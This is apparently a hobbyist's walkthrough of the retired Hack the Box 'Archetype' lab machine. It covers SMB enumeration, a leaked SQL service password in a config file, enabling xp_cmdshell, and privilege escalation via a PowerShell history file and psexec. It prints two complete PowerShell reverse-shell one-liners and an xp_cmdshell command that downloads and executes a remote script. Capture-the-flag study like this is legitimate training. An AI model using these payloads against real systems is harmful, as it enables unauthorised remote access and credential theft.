Hack the Box – Archetype
# Information:
Platform Name: Hack the Box
Machine Challenge: Archetype
Machine Status: Retired & Starting Point
Machine Matrix:
- Enum: 5
- CTF: 5.3
- Custom: 5.2
- CVE: 4.8
- Real: 4.7
Challenge Level: Very Easy
Part 1: User Flag & Part 2: System Flag
# Used Tools:
# Challenge Description:
This challenge has no description, instead we are presented with this:
# Writeup:
Part 1 – User Flag
Step 1
First I opened my VirtualBox with Kali and started the Starting Point openvpn. Once this was done I went to the Hack The Box Website and I joined the machine.
Step 2
Once inside the Kali VM and with everything setup and read to go I started by performing a port scan with nmap. I used the following command:
mregra on Cyber:VM $ sudo nmap -sS -sV -A 10.10.10.27
The flags I used are for:
- -sC – Stands for default scripts.
- -sV – This flag will probe open ports to determine service/version info (from the manual)
The nmap output is:
There is a lot of good information here. For instance, we now know the Windows version. We know the open ports: 135, 139, 445, 1433. And finally we can see that there are a few scripts running, in particular smb related scripts.
After some research I discovered that ports 445 and 1433 have something to do with file sharing and SQL Server. Apparently, the port 445 is known for hosting file sharing SMB (after Windows 2000, before it was port 139).
Also, I found here that port 1433 is by default SQL Server.
So we know what might be exploitable. Let’s try to access the file sharing service, maybe it is possible to access it without any type of authentication.
Step 3
To connect to the SMB file sharing system I had to search online for a bit. And I found here useful information.
Apparently I have to use the smbclient command. After reading a little on the manual I found that I have to use the flag -L to list the available shares, and also the -N which stands for no password. (I tried without the -N flag and it works as well because there is no password so when I was prompted with a password request I simply pressed Enter and it worked).
After some errors I was able to get to this command:
mregra on Cyber:VM $ sbmclient -N -L '\\10.10.10.27\'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
I used the information here andhere to be able to get to that command.
As you can see in the output of the command above we have a backups share. I tried to access it and this was the result:
I was able to get in, and I was presented with a smb prompt. It worked we have access to the SMB file sharing system.
Step 4
Once with access to smb prompt I tried a few commands, first the dir, to list the contents of the directory:
smb: \> dir
. D 0 Mon Jan 20 13:20:57 2020
.. D 0 Mon Jan 20 13:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 13:23:02 2020
10328063 blocks of size 4096. 8259704 blocks available
smb: \>
We have a configuration file, prod.dtsConfig, which according to this is the extension for SSIS (SQL Server Integration Service) Package Configuration File, and it is used to store property values to SQL Server. let’s download it to our machine by doing the command:
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
smb: \>
We now have the file in our machine, and the file’s contents are:
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
We now have the user ARCHETYPE\sql_svc credentials.
Step 5
I tried a lot of different things. And after a lot of failures I stumble upon impacket. According to there Github page: “Impacket is a collection of Python classes for working with network protocols.” They provide with way to create a reverse shell, here is an example.
After installing the tool, I read through the documentation a little and I found this code that was the same as in the example described before, therefore I ran the following command:
Ok, we now have a remote shell of the SQL Server. I went to the Microsoft documents, here, to find more about the possible commands.
I noticed that there were a few interesting commands that could tell me the roles of the users. First I tried:
SQL> SELECT * FROM sys.server_principals;
This return a big table. A lot of information, to much really. So I went back to the Microsoft docs and found this command:
SQL> SELECT roles.principal_id AS RolePrincipalID
, roles.name AS RolePrincipalName
, server_role_members.member_principal_id AS MemberPrincipalID
, members.name AS MemberPrincipalName
FROM sys.server_role_members AS server_role_members
INNER JOIN sys.server_principals AS roles
ON server_role_members.role_principal_id = roles.principal_id
INNER JOIN sys.server_principals AS members
ON server_role_members.member_principal_id = members.principal_id;
And this returned an interesting information. It seems that ARCHETYPE\sql_svc, which is the user that we are access as, it has the role of sysadmin.
This is very interesting, this means that we have sysadmin privileged and that allows us to enable xp_cmdshell with the goal of access a remote shell on the host that would allows to run commands, in sum, it would allows us to perform a RCE attack.
Step 6
I searched online for a while and I found this website with an explanation for how to enable xp_cmdshell on the SQL console. And these were the commands I used:
SQL> sp_configure 'show advanced options', '1'
SQL> RECONFIGURE
SQL> sp_configure 'xp_cmdshell', '1'
SQL> RECONFIGURE
Below you can find an image with these commands being executed on the VM:
In the end I ran the command xp_cmdshell “whoami” to test if cmd_shell was running and I got a response, so it seems to be working fine.
Now that we have the xp_cmdshell working from our SQL Server prompt let’s try to get a proper shell and continue the attack.
After some research I found online a powershell reverse shell code, see below:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('10.10.10.10',7777)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Note: It is important that you change the port and the IP to your specific numbers. This IP is the one for the TCP connection.
Now all we need is to start an HTTP server on our machine, and a TCP server to get the reverse shell. To do so I did the following:
First: I launched the HTTP server using Python (like I did in Shocker):
Second: Then I launched the TCP server using netcat, as such:
Third: Now all we need to do is to run the command that will send a reverse shell to our TCP connection in port 7777, as such:
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.10.10/reverse_shell.ps1\");"
Note: It is important that you start the HTTP server on the folder where the reverse_shell.ps1 so that the command above works.
Once I ran the command above, I noticed the following in both the HTTP server terminal and on the TCP server terminal:
As you can see in the second image, we have now a reverse shell. After some search on the server I was able to find the flag in C:\Users\sql_svc\Desktop\user.txt
And the user flag is:
Part 2 – System Flag – Privilege Escalation
Now that we have access to a shell and now that we have access to the User Flag, let’s try to perform privilege escalation, to see if we can get the System password.
I was thinking that maybe we could search for files that are accessed frequently, or some kind of command history that could help us get some information about the administrator.
After some online search I discovered that the powershell history can be found by running the command:
PS C:\Users\sql_svc\desktop> type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS C:\Users\sql_svc\desktop> type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
This command, as you can see returns some useful information!! In particular the administrator password and username.
Like in the the first part of the challenge I used the mssqlclient command I tried again but for the administrator. However, this returned some kind error.
I decided to go back to Impacket’s Github page to see if there was another useful script that could help us!
After some time I was able to find the script psexec.py, and also I found an example of usage as well as a good explanation here.
Finally the command I ran the get the reverse shell as administrator was:
mregra on Cyber:VM $ psexec.py [email protected]
And the output was:
We now have a reverse shell with administrator access.
After some search on the folder structure I found the System flag at: C:\Users\Administrator\Desktop\root.txt
To read it I simply typed: more C:\Users\Administrator\Desktop\root.txt.
The System flag is:
References:
Image source: here
Thank you very much for reading!
Cheers,
MRegra
